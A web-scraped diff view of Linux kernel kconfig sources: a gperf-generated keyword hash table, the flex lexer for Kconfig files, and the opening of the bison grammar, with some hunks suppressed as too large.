modules, T_OPT_MODULES, TF_OPTION
|
||||
defconfig_list, T_OPT_DEFCONFIG_LIST,TF_OPTION
|
||||
env, T_OPT_ENV, TF_OPTION
|
||||
%%
|
@ -0,0 +1,286 @@
|
||||
/* ANSI-C code produced by gperf version 3.0.4 */
|
||||
/* Command-line: gperf -t --output-file scripts/kconfig/zconf.hash.c_shipped -a -C -E -g -k '1,3,$' -p -t scripts/kconfig/zconf.gperf */
|
||||
|
||||
#if !((' ' == 32) && ('!' == 33) && ('"' == 34) && ('#' == 35) \
|
||||
&& ('%' == 37) && ('&' == 38) && ('\'' == 39) && ('(' == 40) \
|
||||
&& (')' == 41) && ('*' == 42) && ('+' == 43) && (',' == 44) \
|
||||
&& ('-' == 45) && ('.' == 46) && ('/' == 47) && ('0' == 48) \
|
||||
&& ('1' == 49) && ('2' == 50) && ('3' == 51) && ('4' == 52) \
|
||||
&& ('5' == 53) && ('6' == 54) && ('7' == 55) && ('8' == 56) \
|
||||
&& ('9' == 57) && (':' == 58) && (';' == 59) && ('<' == 60) \
|
||||
&& ('=' == 61) && ('>' == 62) && ('?' == 63) && ('A' == 65) \
|
||||
&& ('B' == 66) && ('C' == 67) && ('D' == 68) && ('E' == 69) \
|
||||
&& ('F' == 70) && ('G' == 71) && ('H' == 72) && ('I' == 73) \
|
||||
&& ('J' == 74) && ('K' == 75) && ('L' == 76) && ('M' == 77) \
|
||||
&& ('N' == 78) && ('O' == 79) && ('P' == 80) && ('Q' == 81) \
|
||||
&& ('R' == 82) && ('S' == 83) && ('T' == 84) && ('U' == 85) \
|
||||
&& ('V' == 86) && ('W' == 87) && ('X' == 88) && ('Y' == 89) \
|
||||
&& ('Z' == 90) && ('[' == 91) && ('\\' == 92) && (']' == 93) \
|
||||
&& ('^' == 94) && ('_' == 95) && ('a' == 97) && ('b' == 98) \
|
||||
&& ('c' == 99) && ('d' == 100) && ('e' == 101) && ('f' == 102) \
|
||||
&& ('g' == 103) && ('h' == 104) && ('i' == 105) && ('j' == 106) \
|
||||
&& ('k' == 107) && ('l' == 108) && ('m' == 109) && ('n' == 110) \
|
||||
&& ('o' == 111) && ('p' == 112) && ('q' == 113) && ('r' == 114) \
|
||||
&& ('s' == 115) && ('t' == 116) && ('u' == 117) && ('v' == 118) \
|
||||
&& ('w' == 119) && ('x' == 120) && ('y' == 121) && ('z' == 122) \
|
||||
&& ('{' == 123) && ('|' == 124) && ('}' == 125) && ('~' == 126))
|
||||
/* The character set is not based on ISO-646. */
|
||||
#error "gperf generated tables don't work with this execution character set. Please report a bug to <bug-gnu-gperf@gnu.org>."
|
||||
#endif
|
||||
|
||||
#line 10 "scripts/kconfig/zconf.gperf"
|
||||
struct kconf_id;
|
||||
|
||||
static const struct kconf_id *kconf_id_lookup(register const char *str, register unsigned int len);
|
||||
/* maximum key range = 71, duplicates = 0 */
|
||||
|
||||
#ifdef __GNUC__
|
||||
__inline
|
||||
#else
|
||||
#ifdef __cplusplus
|
||||
inline
|
||||
#endif
|
||||
#endif
|
||||
static unsigned int
|
||||
kconf_id_hash (register const char *str, register unsigned int len)
|
||||
{
|
||||
static const unsigned char asso_values[] =
|
||||
{
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 25, 25,
|
||||
0, 0, 0, 5, 0, 0, 73, 73, 5, 0,
|
||||
10, 5, 45, 73, 20, 20, 0, 15, 15, 73,
|
||||
20, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73, 73, 73, 73, 73,
|
||||
73, 73, 73, 73, 73, 73
|
||||
};
|
||||
register int hval = len;
|
||||
|
||||
switch (hval)
|
||||
{
|
||||
default:
|
||||
hval += asso_values[(unsigned char)str[2]];
|
||||
/*FALLTHROUGH*/
|
||||
case 2:
|
||||
case 1:
|
||||
hval += asso_values[(unsigned char)str[0]];
|
||||
break;
|
||||
}
|
||||
return hval + asso_values[(unsigned char)str[len - 1]];
|
||||
}
|
||||
|
||||
struct kconf_id_strings_t
|
||||
{
|
||||
char kconf_id_strings_str2[sizeof("if")];
|
||||
char kconf_id_strings_str3[sizeof("int")];
|
||||
char kconf_id_strings_str5[sizeof("endif")];
|
||||
char kconf_id_strings_str7[sizeof("default")];
|
||||
char kconf_id_strings_str8[sizeof("tristate")];
|
||||
char kconf_id_strings_str9[sizeof("endchoice")];
|
||||
char kconf_id_strings_str12[sizeof("def_tristate")];
|
||||
char kconf_id_strings_str13[sizeof("def_bool")];
|
||||
char kconf_id_strings_str14[sizeof("defconfig_list")];
|
||||
char kconf_id_strings_str17[sizeof("on")];
|
||||
char kconf_id_strings_str18[sizeof("optional")];
|
||||
char kconf_id_strings_str21[sizeof("option")];
|
||||
char kconf_id_strings_str22[sizeof("endmenu")];
|
||||
char kconf_id_strings_str23[sizeof("mainmenu")];
|
||||
char kconf_id_strings_str25[sizeof("menuconfig")];
|
||||
char kconf_id_strings_str27[sizeof("modules")];
|
||||
char kconf_id_strings_str29[sizeof("menu")];
|
||||
char kconf_id_strings_str31[sizeof("select")];
|
||||
char kconf_id_strings_str32[sizeof("comment")];
|
||||
char kconf_id_strings_str33[sizeof("env")];
|
||||
char kconf_id_strings_str35[sizeof("range")];
|
||||
char kconf_id_strings_str36[sizeof("choice")];
|
||||
char kconf_id_strings_str39[sizeof("bool")];
|
||||
char kconf_id_strings_str41[sizeof("source")];
|
||||
char kconf_id_strings_str42[sizeof("visible")];
|
||||
char kconf_id_strings_str43[sizeof("hex")];
|
||||
char kconf_id_strings_str46[sizeof("config")];
|
||||
char kconf_id_strings_str47[sizeof("boolean")];
|
||||
char kconf_id_strings_str51[sizeof("string")];
|
||||
char kconf_id_strings_str54[sizeof("help")];
|
||||
char kconf_id_strings_str56[sizeof("prompt")];
|
||||
char kconf_id_strings_str72[sizeof("depends")];
|
||||
};
|
||||
static const struct kconf_id_strings_t kconf_id_strings_contents =
|
||||
{
|
||||
"if",
|
||||
"int",
|
||||
"endif",
|
||||
"default",
|
||||
"tristate",
|
||||
"endchoice",
|
||||
"def_tristate",
|
||||
"def_bool",
|
||||
"defconfig_list",
|
||||
"on",
|
||||
"optional",
|
||||
"option",
|
||||
"endmenu",
|
||||
"mainmenu",
|
||||
"menuconfig",
|
||||
"modules",
|
||||
"menu",
|
||||
"select",
|
||||
"comment",
|
||||
"env",
|
||||
"range",
|
||||
"choice",
|
||||
"bool",
|
||||
"source",
|
||||
"visible",
|
||||
"hex",
|
||||
"config",
|
||||
"boolean",
|
||||
"string",
|
||||
"help",
|
||||
"prompt",
|
||||
"depends"
|
||||
};
|
||||
#define kconf_id_strings ((const char *) &kconf_id_strings_contents)
|
||||
#ifdef __GNUC__
|
||||
__inline
|
||||
#if defined __GNUC_STDC_INLINE__ || defined __GNUC_GNU_INLINE__
|
||||
__attribute__ ((__gnu_inline__))
|
||||
#endif
|
||||
#endif
|
||||
const struct kconf_id *
|
||||
kconf_id_lookup (register const char *str, register unsigned int len)
|
||||
{
|
||||
enum
|
||||
{
|
||||
TOTAL_KEYWORDS = 32,
|
||||
MIN_WORD_LENGTH = 2,
|
||||
MAX_WORD_LENGTH = 14,
|
||||
MIN_HASH_VALUE = 2,
|
||||
MAX_HASH_VALUE = 72
|
||||
};
|
||||
|
||||
static const struct kconf_id wordlist[] =
|
||||
{
|
||||
{-1}, {-1},
|
||||
#line 25 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str2, T_IF, TF_COMMAND|TF_PARAM},
|
||||
#line 36 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str3, T_TYPE, TF_COMMAND, S_INT},
|
||||
{-1},
|
||||
#line 26 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str5, T_ENDIF, TF_COMMAND},
|
||||
{-1},
|
||||
#line 29 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str7, T_DEFAULT, TF_COMMAND, S_UNKNOWN},
|
||||
#line 31 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str8, T_TYPE, TF_COMMAND, S_TRISTATE},
|
||||
#line 20 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str9, T_ENDCHOICE, TF_COMMAND},
|
||||
{-1}, {-1},
|
||||
#line 32 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str12, T_DEFAULT, TF_COMMAND, S_TRISTATE},
|
||||
#line 35 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str13, T_DEFAULT, TF_COMMAND, S_BOOLEAN},
|
||||
#line 45 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str14, T_OPT_DEFCONFIG_LIST,TF_OPTION},
|
||||
{-1}, {-1},
|
||||
#line 43 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str17, T_ON, TF_PARAM},
|
||||
#line 28 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str18, T_OPTIONAL, TF_COMMAND},
|
||||
{-1}, {-1},
|
||||
#line 42 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str21, T_OPTION, TF_COMMAND},
|
||||
#line 17 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str22, T_ENDMENU, TF_COMMAND},
|
||||
#line 15 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str23, T_MAINMENU, TF_COMMAND},
|
||||
{-1},
|
||||
#line 23 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str25, T_MENUCONFIG, TF_COMMAND},
|
||||
{-1},
|
||||
#line 44 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str27, T_OPT_MODULES, TF_OPTION},
|
||||
{-1},
|
||||
#line 16 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str29, T_MENU, TF_COMMAND},
|
||||
{-1},
|
||||
#line 39 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str31, T_SELECT, TF_COMMAND},
|
||||
#line 21 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str32, T_COMMENT, TF_COMMAND},
|
||||
#line 46 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str33, T_OPT_ENV, TF_OPTION},
|
||||
{-1},
|
||||
#line 40 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str35, T_RANGE, TF_COMMAND},
|
||||
#line 19 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str36, T_CHOICE, TF_COMMAND},
|
||||
{-1}, {-1},
|
||||
#line 33 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str39, T_TYPE, TF_COMMAND, S_BOOLEAN},
|
||||
{-1},
|
||||
#line 18 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str41, T_SOURCE, TF_COMMAND},
|
||||
#line 41 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str42, T_VISIBLE, TF_COMMAND},
|
||||
#line 37 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str43, T_TYPE, TF_COMMAND, S_HEX},
|
||||
{-1}, {-1},
|
||||
#line 22 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str46, T_CONFIG, TF_COMMAND},
|
||||
#line 34 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str47, T_TYPE, TF_COMMAND, S_BOOLEAN},
|
||||
{-1}, {-1}, {-1},
|
||||
#line 38 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str51, T_TYPE, TF_COMMAND, S_STRING},
|
||||
{-1}, {-1},
|
||||
#line 24 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str54, T_HELP, TF_COMMAND},
|
||||
{-1},
|
||||
#line 30 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str56, T_PROMPT, TF_COMMAND},
|
||||
{-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1}, {-1},
|
||||
{-1}, {-1}, {-1}, {-1}, {-1}, {-1},
|
||||
#line 27 "scripts/kconfig/zconf.gperf"
|
||||
{(int)(long)&((struct kconf_id_strings_t *)0)->kconf_id_strings_str72, T_DEPENDS, TF_COMMAND}
|
||||
};
|
||||
|
||||
if (len <= MAX_WORD_LENGTH && len >= MIN_WORD_LENGTH)
|
||||
{
|
||||
register int key = kconf_id_hash (str, len);
|
||||
|
||||
if (key <= MAX_HASH_VALUE && key >= 0)
|
||||
{
|
||||
register int o = wordlist[key].name;
|
||||
if (o >= 0)
|
||||
{
|
||||
register const char *s = o + kconf_id_strings;
|
||||
|
||||
if (*str == *s && !strncmp (str + 1, s + 1, len - 1) && s[len] == '\0')
|
||||
return &wordlist[key];
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
#line 47 "scripts/kconfig/zconf.gperf"
|
||||
|
@ -0,0 +1,363 @@
|
||||
%option nostdinit noyywrap never-interactive full ecs
|
||||
%option 8bit nodefault perf-report perf-report
|
||||
%option noinput
|
||||
%x COMMAND HELP STRING PARAM
|
||||
%{
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "lkc.h"
|
||||
|
||||
#define START_STRSIZE 16
|
||||
|
||||
static struct {
|
||||
struct file *file;
|
||||
int lineno;
|
||||
} current_pos;
|
||||
|
||||
static char *text;
|
||||
static int text_size, text_asize;
|
||||
|
||||
struct buffer {
|
||||
struct buffer *parent;
|
||||
YY_BUFFER_STATE state;
|
||||
};
|
||||
|
||||
struct buffer *current_buf;
|
||||
|
||||
static int last_ts, first_ts;
|
||||
|
||||
static void zconf_endhelp(void);
|
||||
static void zconf_endfile(void);
|
||||
|
||||
static void new_string(void)
|
||||
{
|
||||
text = xmalloc(START_STRSIZE);
|
||||
text_asize = START_STRSIZE;
|
||||
text_size = 0;
|
||||
*text = 0;
|
||||
}
|
||||
|
||||
static void append_string(const char *str, int size)
|
||||
{
|
||||
int new_size = text_size + size + 1;
|
||||
if (new_size > text_asize) {
|
||||
new_size += START_STRSIZE - 1;
|
||||
new_size &= -START_STRSIZE;
|
||||
text = realloc(text, new_size);
|
||||
text_asize = new_size;
|
||||
}
|
||||
memcpy(text + text_size, str, size);
|
||||
text_size += size;
|
||||
text[text_size] = 0;
|
||||
}
|
||||
|
||||
static void alloc_string(const char *str, int size)
|
||||
{
|
||||
text = xmalloc(size + 1);
|
||||
memcpy(text, str, size);
|
||||
text[size] = 0;
|
||||
}
|
||||
%}
|
||||
|
||||
n [A-Za-z0-9_]
|
||||
|
||||
%%
|
||||
int str = 0;
|
||||
int ts, i;
|
||||
|
||||
[ \t]*#.*\n |
|
||||
[ \t]*\n {
|
||||
current_file->lineno++;
|
||||
return T_EOL;
|
||||
}
|
||||
[ \t]*#.*
|
||||
|
||||
|
||||
[ \t]+ {
|
||||
BEGIN(COMMAND);
|
||||
}
|
||||
|
||||
. {
|
||||
unput(yytext[0]);
|
||||
BEGIN(COMMAND);
|
||||
}
|
||||
|
||||
|
||||
<COMMAND>{
|
||||
{n}+ {
|
||||
const struct kconf_id *id = kconf_id_lookup(yytext, yyleng);
|
||||
BEGIN(PARAM);
|
||||
current_pos.file = current_file;
|
||||
current_pos.lineno = current_file->lineno;
|
||||
if (id && id->flags & TF_COMMAND) {
|
||||
zconflval.id = id;
|
||||
return id->token;
|
||||
}
|
||||
alloc_string(yytext, yyleng);
|
||||
zconflval.string = text;
|
||||
return T_WORD;
|
||||
}
|
||||
.
|
||||
\n {
|
||||
BEGIN(INITIAL);
|
||||
current_file->lineno++;
|
||||
return T_EOL;
|
||||
}
|
||||
}
|
||||
|
||||
<PARAM>{
|
||||
"&&" return T_AND;
|
||||
"||" return T_OR;
|
||||
"(" return T_OPEN_PAREN;
|
||||
")" return T_CLOSE_PAREN;
|
||||
"!" return T_NOT;
|
||||
"=" return T_EQUAL;
|
||||
"!=" return T_UNEQUAL;
|
||||
\"|\' {
|
||||
str = yytext[0];
|
||||
new_string();
|
||||
BEGIN(STRING);
|
||||
}
|
||||
\n BEGIN(INITIAL); current_file->lineno++; return T_EOL;
|
||||
--- /* ignore */
|
||||
({n}|[-/.])+ {
|
||||
const struct kconf_id *id = kconf_id_lookup(yytext, yyleng);
|
||||
if (id && id->flags & TF_PARAM) {
|
||||
zconflval.id = id;
|
||||
return id->token;
|
||||
}
|
||||
alloc_string(yytext, yyleng);
|
||||
zconflval.string = text;
|
||||
return T_WORD;
|
||||
}
|
||||
#.* /* comment */
|
||||
\\\n current_file->lineno++;
|
||||
.
|
||||
<<EOF>> {
|
||||
BEGIN(INITIAL);
|
||||
}
|
||||
}
|
||||
|
||||
<STRING>{
|
||||
[^'"\\\n]+/\n {
|
||||
append_string(yytext, yyleng);
|
||||
zconflval.string = text;
|
||||
return T_WORD_QUOTE;
|
||||
}
|
||||
[^'"\\\n]+ {
|
||||
append_string(yytext, yyleng);
|
||||
}
|
||||
\\.?/\n {
|
||||
append_string(yytext + 1, yyleng - 1);
|
||||
zconflval.string = text;
|
||||
return T_WORD_QUOTE;
|
||||
}
|
||||
\\.? {
|
||||
append_string(yytext + 1, yyleng - 1);
|
||||
}
|
||||
\'|\" {
|
||||
if (str == yytext[0]) {
|
||||
BEGIN(PARAM);
|
||||
zconflval.string = text;
|
||||
return T_WORD_QUOTE;
|
||||
} else
|
||||
append_string(yytext, 1);
|
||||
}
|
||||
\n {
|
||||
printf("%s:%d:warning: multi-line strings not supported\n", zconf_curname(), zconf_lineno());
|
||||
current_file->lineno++;
|
||||
BEGIN(INITIAL);
|
||||
return T_EOL;
|
||||
}
|
||||
<<EOF>> {
|
||||
BEGIN(INITIAL);
|
||||
}
|
||||
}
|
||||
|
||||
<HELP>{
|
||||
[ \t]+ {
|
||||
ts = 0;
|
||||
for (i = 0; i < yyleng; i++) {
|
||||
if (yytext[i] == '\t')
|
||||
ts = (ts & ~7) + 8;
|
||||
else
|
||||
ts++;
|
||||
}
|
||||
last_ts = ts;
|
||||
if (first_ts) {
|
||||
if (ts < first_ts) {
|
||||
zconf_endhelp();
|
||||
return T_HELPTEXT;
|
||||
}
|
||||
ts -= first_ts;
|
||||
while (ts > 8) {
|
||||
append_string(" ", 8);
|
||||
ts -= 8;
|
||||
}
|
||||
append_string(" ", ts);
|
||||
}
|
||||
}
|
||||
[ \t]*\n/[^ \t\n] {
|
||||
current_file->lineno++;
|
||||
zconf_endhelp();
|
||||
return T_HELPTEXT;
|
||||
}
|
||||
[ \t]*\n {
|
||||
current_file->lineno++;
|
||||
append_string("\n", 1);
|
||||
}
|
||||
[^ \t\n].* {
|
||||
while (yyleng) {
|
||||
if ((yytext[yyleng-1] != ' ') && (yytext[yyleng-1] != '\t'))
|
||||
break;
|
||||
yyleng--;
|
||||
}
|
||||
append_string(yytext, yyleng);
|
||||
if (!first_ts)
|
||||
first_ts = last_ts;
|
||||
}
|
||||
<<EOF>> {
|
||||
zconf_endhelp();
|
||||
return T_HELPTEXT;
|
||||
}
|
||||
}
|
||||
|
||||
<<EOF>> {
|
||||
if (current_file) {
|
||||
zconf_endfile();
|
||||
return T_EOL;
|
||||
}
|
||||
fclose(yyin);
|
||||
yyterminate();
|
||||
}
|
||||
|
||||
%%
|
||||
void zconf_starthelp(void)
|
||||
{
|
||||
new_string();
|
||||
last_ts = first_ts = 0;
|
||||
BEGIN(HELP);
|
||||
}
|
||||
|
||||
static void zconf_endhelp(void)
|
||||
{
|
||||
zconflval.string = text;
|
||||
BEGIN(INITIAL);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Try to open specified file with following names:
|
||||
* ./name
|
||||
* $(srctree)/name
|
||||
* The latter is used when srctree is separate from objtree
|
||||
* when compiling the kernel.
|
||||
* Return NULL if file is not found.
|
||||
*/
|
||||
FILE *zconf_fopen(const char *name)
|
||||
{
|
||||
char *env, fullname[PATH_MAX+1];
|
||||
FILE *f;
|
||||
|
||||
f = fopen(name, "r");
|
||||
if (!f && name != NULL && name[0] != '/') {
|
||||
env = getenv(SRCTREE);
|
||||
if (env) {
|
||||
sprintf(fullname, "%s/%s", env, name);
|
||||
f = fopen(fullname, "r");
|
||||
}
|
||||
}
|
||||
return f;
|
||||
}
|
||||
|
||||
void zconf_initscan(const char *name)
|
||||
{
|
||||
yyin = zconf_fopen(name);
|
||||
if (!yyin) {
|
||||
printf("can't find file %s\n", name);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
current_buf = xmalloc(sizeof(*current_buf));
|
||||
memset(current_buf, 0, sizeof(*current_buf));
|
||||
|
||||
current_file = file_lookup(name);
|
||||
current_file->lineno = 1;
|
||||
}
|
||||
|
||||
void zconf_nextfile(const char *name)
|
||||
{
|
||||
struct file *iter;
|
||||
struct file *file = file_lookup(name);
|
||||
struct buffer *buf = xmalloc(sizeof(*buf));
|
||||
memset(buf, 0, sizeof(*buf));
|
||||
|
||||
current_buf->state = YY_CURRENT_BUFFER;
|
||||
yyin = zconf_fopen(file->name);
|
||||
if (!yyin) {
|
||||
printf("%s:%d: can't open file \"%s\"\n",
|
||||
zconf_curname(), zconf_lineno(), file->name);
|
||||
exit(1);
|
||||
}
|
||||
yy_switch_to_buffer(yy_create_buffer(yyin, YY_BUF_SIZE));
|
||||
buf->parent = current_buf;
|
||||
current_buf = buf;
|
||||
|
||||
for (iter = current_file->parent; iter; iter = iter->parent ) {
|
||||
if (!strcmp(current_file->name,iter->name) ) {
|
||||
printf("%s:%d: recursive inclusion detected. "
|
||||
"Inclusion path:\n current file : '%s'\n",
|
||||
zconf_curname(), zconf_lineno(),
|
||||
zconf_curname());
|
||||
iter = current_file->parent;
|
||||
while (iter && \
|
||||
strcmp(iter->name,current_file->name)) {
|
||||
printf(" included from: '%s:%d'\n",
|
||||
iter->name, iter->lineno-1);
|
||||
iter = iter->parent;
|
||||
}
|
||||
if (iter)
|
||||
printf(" included from: '%s:%d'\n",
|
||||
iter->name, iter->lineno+1);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
file->lineno = 1;
|
||||
file->parent = current_file;
|
||||
current_file = file;
|
||||
}
|
||||
|
||||
static void zconf_endfile(void)
|
||||
{
|
||||
struct buffer *parent;
|
||||
|
||||
current_file = current_file->parent;
|
||||
|
||||
parent = current_buf->parent;
|
||||
if (parent) {
|
||||
fclose(yyin);
|
||||
yy_delete_buffer(YY_CURRENT_BUFFER);
|
||||
yy_switch_to_buffer(parent->state);
|
||||
}
|
||||
free(current_buf);
|
||||
current_buf = parent;
|
||||
}
|
||||
|
||||
int zconf_lineno(void)
|
||||
{
|
||||
return current_pos.lineno;
|
||||
}
|
||||
|
||||
const char *zconf_curname(void)
|
||||
{
|
||||
return current_pos.file ? current_pos.file->name : "<none>";
|
||||
}
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,733 @@
|
||||
%{
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#include <ctype.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "lkc.h"
|
||||
|
||||
#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt)
|
||||
|
||||
#define PRINTD 0x0001
|
||||
#define DEBUG_PARSE 0x0002
|
||||
|
||||
int cdebug = PRINTD;
|
||||
|
||||
extern int zconflex(void);
|
||||
static void zconfprint(const char *err, ...);
|
||||
static void zconf_error(const char *err, ...);
|
||||
static void zconferror(const char *err);
|
||||
static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken);
|
||||
|
||||
struct symbol *symbol_hash[SYMBOL_HASHSIZE];
|
||||
|
||||
static struct menu *current_menu, *current_entry;
|
||||
|
||||
%}
|
||||
%expect 30
|
||||
|
||||
%union
|
||||
{
|
||||
char *string;
|
||||
struct file *file;
|
||||
struct symbol *symbol;
|
||||
struct expr *expr;
|
||||
struct menu *menu;
|
||||
const struct kconf_id *id;
|
||||
}
|
||||
|
||||
%token <id>T_MAINMENU
|
||||
%token <id>T_MENU
|
||||
%token <id>T_ENDMENU
|
||||
%token <id>T_SOURCE
|
||||
%token <id>T_CHOICE
|
||||
%token <id>T_ENDCHOICE
|
||||
%token <id>T_COMMENT
|
||||
%token <id>T_CONFIG
|
||||
%token <id>T_MENUCONFIG
|
||||
%token <id>T_HELP
|
||||
%token <string> T_HELPTEXT
|
||||
%token <id>T_IF
|
||||
%token <id>T_ENDIF
|
||||
%token <id>T_DEPENDS
|
||||
%token <id>T_OPTIONAL
|
||||
%token <id>T_PROMPT
|
||||
%token <id>T_TYPE
|
||||
%token <id>T_DEFAULT
|
||||
%token <id>T_SELECT
|
||||
%token <id>T_RANGE
|
||||
%token <id>T_VISIBLE
|
||||
%token <id>T_OPTION
|
||||
%token <id>T_ON
|
||||
%token <string> T_WORD
|
||||
%token <string> T_WORD_QUOTE
|
||||
%token T_UNEQUAL
|
||||
%token T_CLOSE_PAREN
|
||||
%token T_OPEN_PAREN
|
||||
%token T_EOL
|
||||
|
||||
%left T_OR
|
||||
%left T_AND
|
||||
%left T_EQUAL T_UNEQUAL
|
||||
%nonassoc T_NOT
|
||||
|
||||
%type <string> prompt
|
||||
%type <symbol> symbol
|
||||
%type <expr> expr
|
||||
%type <expr> if_expr
|
||||
%type <id> end
|
||||
%type <id> option_name
|
||||
%type <menu> if_entry menu_entry choice_entry
|
||||
%type <string> symbol_option_arg word_opt
|
||||
|
||||
%destructor {
|
||||
fprintf(stderr, "%s:%d: missing end statement for this entry\n",
|
||||
$$->file->name, $$->lineno);
|
||||
if (current_menu == $$)
|
||||
menu_end_menu();
|
||||
} if_entry menu_entry choice_entry
|
||||
|
||||
%{
|
||||
/* Include zconf.hash.c here so it can see the token constants. */
|
||||
#include "zconf.hash.c"
|
||||
%}
|
||||
|
||||
%%
|
||||
input: nl start | start;
|
||||
|
||||
start: mainmenu_stmt stmt_list | stmt_list;
|
||||
|
||||
stmt_list:
|
||||
/* empty */
|
||||
| stmt_list common_stmt
|
||||
| stmt_list choice_stmt
|
||||
| stmt_list menu_stmt
|
||||
| stmt_list end { zconf_error("unexpected end statement"); }
|
||||
| stmt_list T_WORD error T_EOL { zconf_error("unknown statement \"%s\"", $2); }
|
||||
| stmt_list option_name error T_EOL
|
||||
{
|
||||
zconf_error("unexpected option \"%s\"", kconf_id_strings + $2->name);
|
||||
}
|
||||
